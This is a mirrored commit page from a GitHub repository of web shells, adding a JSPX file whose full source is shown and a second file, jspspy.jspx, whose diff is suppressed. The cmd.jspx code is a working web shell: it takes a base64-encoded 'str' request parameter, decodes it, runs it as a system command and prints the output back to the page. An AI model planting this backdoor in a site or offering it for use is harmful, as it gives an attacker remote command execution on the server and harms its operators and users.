mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
add jspx
This commit is contained in:
parent
7f31c7e69e
commit
bcbc3a383c
2 changed files with 3334 additions and 0 deletions
24
jspx/cmd.jspx
Normal file
24
jspx/cmd.jspx
Normal file
|
@ -0,0 +1,24 @@
|
|||
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" xmlns="http://www.w3.org/1999/xhtml" xmlns:c="http://java.sun.com/jsp/jstl/core" version="2.0">
|
||||
<jsp:directive.page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"/>
|
||||
<jsp:directive.page import="java.util.*"/>
|
||||
<jsp:directive.page import="java.io.*"/>
|
||||
<jsp:directive.page import="sun.misc.BASE64Decoder"/>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
String tmp = pageContext.getRequest().getParameter("str");
|
||||
if (tmp != null&&!"".equals(tmp)) {
|
||||
try{
|
||||
String str = new String((new BASE64Decoder()).decodeBuffer(tmp));
|
||||
Process p = Runtime.getRuntime().exec(str);
|
||||
InputStream in = p.getInputStream();
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(in,"GBK"));
|
||||
String brs = br.readLine();
|
||||
while(brs!=null){
|
||||
out.println(brs+"</br>");
|
||||
brs = br.readLine();
|
||||
}
|
||||
}catch(Exception ex){
|
||||
out.println(ex.toString());
|
||||
}
|
||||
}]]>
|
||||
</jsp:scriptlet>
|
||||
</jsp:root>
|
3310
jspx/jspspy.jspx
Normal file
3310
jspx/jspspy.jspx
Normal file
File diff suppressed because it is too large
Load diff
Loading…
Reference in a new issue